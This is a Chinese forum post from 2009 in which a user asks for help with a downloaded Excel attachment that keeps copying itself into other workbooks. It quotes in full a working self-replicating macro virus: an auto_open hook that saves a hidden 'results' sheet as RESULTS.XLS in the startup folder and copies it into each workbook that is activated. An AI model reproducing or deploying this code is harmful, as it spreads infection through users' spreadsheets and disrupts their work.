|
前天下载了本论坛的一个会员的附件 打开以后,不知道是什么原因,这个代码会自动将代码复制到别的工作簿代码框中,而且自动运行,干扰了别的宏正常运行,于是我将它们删掉,但是再次打开之后,还会出现这两段代码
Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub
[ 本帖最后由 itxianfeng 于 2009-9-29 14:30 编辑 ] |
|